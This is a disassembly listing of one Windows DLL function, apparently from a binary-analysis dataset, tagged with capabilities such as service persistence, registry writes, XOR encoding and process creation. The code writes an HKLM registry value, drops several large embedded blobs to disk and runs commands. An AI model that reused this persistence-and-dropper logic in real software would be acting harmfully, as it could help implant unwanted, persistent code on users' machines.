Function at 0x1800045d0
Capabilities:
Create process on windows
Encode data using xor
Generate random numbers using a mersenne twister
Persist via windows service
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
mov eax, 0x1750
call fcn.180018c30
sub rsp, rax
movaps xmmword [rsp + 0x1740], xmm6
mov rax, qword [0x180a5a0c0]
xor rax, rsp
mov qword [rsp + 0x1730], rax
xor ebx, ebx
cmp edx, 1
jne 0x180006448
lea rcx, [rsp + 0x148]
call fcn.180007390
nop
lea rax, [0x18005b6c8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0x13
lea rax, [rsp + 0x148]
cmp qword [rsp + 0x160], 7
cmova rax, qword [rsp + 0x148]
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0xe8], rax
movups xmm0, xmmword [rsp + 0xe0]
movups xmmword [rsp + 0x68], xmm0
movabs rdi, 0xc000000000000000
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xe0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xe8], rax
movaps xmm0, xmmword [rsp + 0xe0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x1a8]
call fcn.18000ccb0
nop
lea rax, [0x18005b6f0]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 0x12
lea rax, [rsp + 0x148]
cmp qword [rsp + 0x160], 7
cmova rax, qword [rsp + 0x148]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x58], rax
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x50], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0xe0]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x100]
call fcn.18000ccb0
nop
lea rax, [0x18005b718]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 0x1a
lea rax, [rsp + 0x148]
cmp qword [rsp + 0x160], 7
cmova rax, qword [rsp + 0x148]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x58], rax
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x50], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0xe0]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x168]
call fcn.18000ccb0
nop
lea rax, [0x18005b750]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 0xc
lea rax, [rsp + 0x168]
cmp qword [rsp + 0x180], 7
cmova rax, qword [rsp + 0x168]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x178]
mov qword [rsp + 0x58], rax
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x50], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0xe0]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x188]
call fcn.18000ccb0
nop
lea rdx, [rsp + 0x188]
cmp qword [rsp + 0x1a0], 7
cmova rdx, qword [rsp + 0x188]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rbx
mov r8, qword [rsp + 0x198]
lea rcx, [rsp + 0x60]
call fcn.18000b910
nop
lea rcx, [rsp + 0x60]
call fcn.180004490
movzx esi, al
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x180004942
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000493d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000647c
call fcn.180018120
test sil, sil
je 0x180004b4f
call fcn.180006af0
nop
mov rdx, qword [rsp + 0x1a0]
cmp rdx, 7
jbe 0x180004999
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x188]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004994
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006482
call fcn.180018120
mov qword [rsp + 0x198], rbx
mov qword [rsp + 0x1a0], 7
mov word [rsp + 0x188], bx
mov rdx, qword [rsp + 0x180]
cmp rdx, 7
jbe 0x1800049fd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x168]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800049f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006488
call fcn.180018120
mov qword [rsp + 0x178], rbx
mov qword [rsp + 0x180], 7
mov word [rsp + 0x168], bx
mov rdx, qword [rsp + 0x118]
cmp rdx, 7
jbe 0x180004a61
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004a5c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000648e
call fcn.180018120
mov qword [rsp + 0x110], rbx
mov qword [rsp + 0x118], 7
mov word [rsp + 0x100], bx
mov rdx, qword [rsp + 0x1c0]
cmp rdx, 7
jbe 0x180004ac5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004ac0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006494
call fcn.180018120
mov qword [rsp + 0x1b8], rbx
mov qword [rsp + 0x1c0], 7
mov word [rsp + 0x1a8], bx
mov rdx, qword [rsp + 0x160]
cmp rdx, 7
jbe 0x180004b29
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004b24
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000649a
call fcn.180018120
mov qword [rsp + 0x158], rbx
mov qword [rsp + 0x160], 7
mov word [rsp + 0x148], bx
mov eax, 1
jmp 0x18000644d
jmp 0x180004b5d
lea rcx, [rsp + 0x1a8]
call fcn.180006eb0
lea rcx, [rsp + 0x100]
call fcn.180006eb0
call fcn.18001742c
mov dword [rsp + 0x1724], 0xffffffff
mov dword [rsp + 0x3a4], eax
mov edx, 1
nop dword [rax]
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x3a4], eax
inc rdx
cmp rdx, 0x270
jb 0x180004ba0
mov dword [rsp + 0x3a0], 0x270
lea rcx, [rsp + 0x3a0]
call fcn.18000e5f0
mov ecx, eax
imul rax, rcx, 0xdbba0
cmp eax, 0x28d7f
ja 0x180004c0d
nop word [rax + rax]
lea rcx, [rsp + 0x3a0]
call fcn.18000e5f0
mov ecx, eax
imul rax, rcx, 0xdbba0
cmp eax, 0x28d80
jb 0x180004bf0
shr rax, 0x20
add eax, 0x800186a0
btc eax, 0x1f
lea rcx, [0x18005bd38]
mov qword [rsp + 0xc0], rcx
mov qword [rsp + 0xc8], 3
mov dword [rsp + 0x58], eax
movabs rax, 0x1000000000000000
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xe0], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0xe8], rax
movaps xmm0, xmmword [rsp + 0xe0]
movdqa xmmword [rsp + 0xe0], xmm0
movaps xmm1, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm1
lea r8, [rsp + 0xe0]
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x128]
call fcn.18000ccb0
nop
lea rax, [0x18005b770]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 6
lea rax, [rsp + 0x128]
cmp qword [rsp + 0x140], 7
cmova rax, qword [rsp + 0x128]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x1e8]
call fcn.18000ccb0
nop
lea rax, [0x18005b780]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 5
lea rax, [rsp + 0x100]
cmp qword [rsp + 0x118], 7
cmova rax, qword [rsp + 0x100]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0x90], rdi
lea rax, [rsp + 0x1e8]
cmp qword [rsp + 0x200], 7
cmova rax, qword [rsp + 0x1e8]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0xb0], xmm0
movabs rsi, 0xc000000000000010
mov qword [rsp + 0x98], rsi
mov qword [rsp + 0xc0], 2
lea rax, [rsp + 0x90]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x1c8]
call fcn.18000ccb0
nop
lea rax, [0x18005b790]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0x13
lea rax, [rsp + 0x100]
cmp qword [rsp + 0x118], 7
cmova rax, qword [rsp + 0x100]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x208]
call fcn.18000ccb0
nop
lea rax, [0x18005b7b8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0xe
lea rax, [rsp + 0x100]
cmp qword [rsp + 0x118], 7
cmova rax, qword [rsp + 0x100]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x308]
call fcn.18000ccb0
nop
lea rax, [0x18005b7d8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0xc
lea rax, [rsp + 0x100]
cmp qword [rsp + 0x118], 7
cmova rax, qword [rsp + 0x100]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x2e8]
call fcn.18000ccb0
nop
lea rax, [0x18005b7f8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0x16
lea rax, [rsp + 0x100]
cmp qword [rsp + 0x118], 7
cmova rax, qword [rsp + 0x100]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x2c8]
call fcn.18000ccb0
nop
lea rax, [0x18005b828]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0x11
lea rax, [rsp + 0x100]
cmp qword [rsp + 0x118], 7
cmova rax, qword [rsp + 0x100]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x2a8]
call fcn.18000ccb0
nop
lea rax, [0x18005b850]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0x10
lea rax, [rsp + 0x100]
cmp qword [rsp + 0x118], 7
cmova rax, qword [rsp + 0x100]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x288]
call fcn.18000ccb0
nop
lea rax, [0x18005b878]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0xc
lea rax, [rsp + 0x100]
cmp qword [rsp + 0x118], 7
cmova rax, qword [rsp + 0x100]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x268]
call fcn.18000ccb0
nop
lea rax, [0x18005b898]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0x13
lea rax, [rsp + 0x100]
cmp qword [rsp + 0x118], 7
cmova rax, qword [rsp + 0x100]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x248]
call fcn.18000ccb0
nop
lea rax, [0x18005b8c0]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0x16
lea rax, [rsp + 0x100]
cmp qword [rsp + 0x118], 7
cmova rax, qword [rsp + 0x100]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x228]
call fcn.18000ccb0
nop
mov dword [rsp + 0x120], ebx
mov qword [rsp + 0xe0], rbx
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
lea rdx, [0x18005bad0]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1800054c0
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x120]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, [0x18005bb40]
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rdx, [rsp + 0x168]
cmp qword [rsp + 0x180], 7
cmova rdx, qword [rsp + 0x168]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rbx
mov r8, qword [rsp + 0x178]
lea rcx, [rsp + 0x60]
call fcn.18000b910
nop
lea rcx, [rsp + 0x60]
call fcn.180004490
movzx r14d, al
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x18000554f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000554a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064a0
call fcn.180018120
test r14b, r14b
jne 0x180005585
lea rdx, [rsp + 0x168]
lea rcx, [rsp + 0x90]
call fcn.18000b280
nop
lea rcx, [rsp + 0x90]
call fcn.180004590
nop
lea rcx, [rsp + 0x90]
call fcn.180003cb0
mov r8d, 0x190
lea rdx, [0x180a501f0]
lea rcx, [rsp + 0x188]
call fcn.180006c50
lea rax, [0x18005b8f0]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0xa
lea rax, [rsp + 0x1a8]
cmp qword [rsp + 0x1c0], 7
cmova rax, qword [rsp + 0x1a8]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x1b8]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x90]
call fcn.18000ccb0
nop
movups xmm0, xmmword [rsp + 0x90]
movups xmmword [rsp + 0xe0], xmm0
movups xmm1, xmmword [rsp + 0xa0]
movups xmmword [rsp + 0xf0], xmm1
movdqa xmm6, xmmword [0x180a53150]
movdqu xmmword [rsp + 0xa0], xmm6
mov word [rsp + 0x90], bx
lea rcx, [rsp + 0xe0]
call fcn.180004490
movzx r14d, al
mov rdx, qword [rsp + 0xf8]
cmp rdx, 7
jbe 0x1800056da
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800056d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064a6
call fcn.180018120
movdqu xmmword [rsp + 0xf0], xmm6
mov word [rsp + 0xe0], bx
mov rdx, qword [rsp + 0xa8]
cmp rdx, 7
jbe 0x180005733
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000572e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064ac
call fcn.180018120
test r14b, r14b
je 0x1800057a6
lea rax, [0x18005b908]
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], 0x1a
lea r8, [rsp + 0x148]
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x60]
call fcn.18000b410
nop
mov rdx, rax
lea rcx, [rsp + 0x90]
call fcn.180003c70
nop
lea rcx, [rsp + 0x90]
call fcn.180004590
nop
lea rcx, [rsp + 0x90]
call fcn.180003cb0
nop
lea rcx, [rsp + 0x60]
call fcn.180003cb0
nop
jmp 0x1800057c6
mov r8d, 0x89000
lea rdx, [0x1808a2ff0]
lea rcx, [rsp + 0x308]
call fcn.180006c50
mov r8d, 0x16200
lea rdx, [0x1809ea1f0]
lea rcx, [rsp + 0x2e8]
call fcn.180006c50
mov r8d, 0x477c00
lea rdx, [0x1802943f0]
lea rcx, [rsp + 0x2c8]
call fcn.180006c50
mov r8d, 0x1c3ee9
lea rdx, [0x18005c280]
lea rcx, [rsp + 0x2a8]
call fcn.180006c50
mov r8d, 0x74279
lea rdx, [0x180220170]
lea rcx, [rsp + 0x288]
call fcn.180006c50
mov r8d, 0x4fe00
lea rdx, [0x180a003f0]
lea rcx, [rsp + 0x268]
call fcn.180006c50
mov r8d, 0xc7c00
lea rdx, [0x180a5ad00]
lea rcx, [rsp + 0x248]
call fcn.180006c50
mov r8d, 0xce00
lea rdx, [0x1809dd3f0]
lea rcx, [rsp + 0x228]
call fcn.180006c50
mov r8d, 0xb1400
lea rdx, [0x18092bff0]
lea rcx, [rsp + 0x208]
call fcn.180006c50
mov r8d, 0x197000
lea rdx, [0x18070bff0]
lea rcx, [rsp + 0x1c8]
call fcn.180006c50
lea rcx, [rsp + 0x128]
call fcn.180006530
lea rax, [0x18005b940]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0x4c
lea rax, [rsp + 0x128]
cmp qword [rsp + 0x140], 7
cmova rax, qword [rsp + 0x128]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x60], rdi
lea rax, [rsp + 0x100]
cmp qword [rsp + 0x118], 7
cmova rax, qword [rsp + 0x100]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0xc0], 2
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x90]
call fcn.18000ccb0
nop
mov edx, 0x2328
lea rcx, [rsp + 0x90]
call fcn.180007150
nop
mov rdx, qword [rsp + 0xa8]
cmp rdx, 7
jbe 0x180005a22
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005a1d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064b2
call fcn.180018120
lea rax, [0x18005b9e0]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0x66
lea rax, [rsp + 0x128]
cmp qword [rsp + 0x140], 7
cmova rax, qword [rsp + 0x128]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x60], rdi
lea rax, [rsp + 0x1c8]
cmp qword [rsp + 0x1e0], 7
cmova rax, qword [rsp + 0x1c8]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0xc0], 2
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x90]
call fcn.18000ccb0
nop
mov edx, 0x2328
lea rcx, [rsp + 0x90]
call fcn.180007150
nop
mov rdx, qword [rsp + 0xa8]
cmp rdx, 7
jbe 0x180005b6d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005b68
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064b8
call fcn.180018120
lea rax, [0x18005bab0]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0xb
lea rax, [rsp + 0x128]
cmp qword [rsp + 0x140], 7
cmova rax, qword [rsp + 0x128]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x90]
call fcn.18000ccb0
nop
mov edx, 0x2328
lea rcx, [rsp + 0x90]
call fcn.180007150
nop
mov rdx, qword [rsp + 0xa8]
cmp rdx, 7
jbe 0x180005c71
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005c6c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064be
call fcn.180018120
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x334], xmm0
movups xmmword [rsp + 0x344], xmm0
movups xmmword [rsp + 0x354], xmm0
movups xmmword [rsp + 0x364], xmm0
movups xmmword [rsp + 0x374], xmm0
movups xmmword [rsp + 0x384], xmm0
mov dword [rsp + 0x394], eax
movups xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xd0], rax
mov dword [rsp + 0x330], 0x68
lea rcx, [rsp + 0x208]
cmp qword [rsp + 0x220], 7
cmova rcx, qword [rsp + 0x208]
lea rax, [rsp + 0xc0]
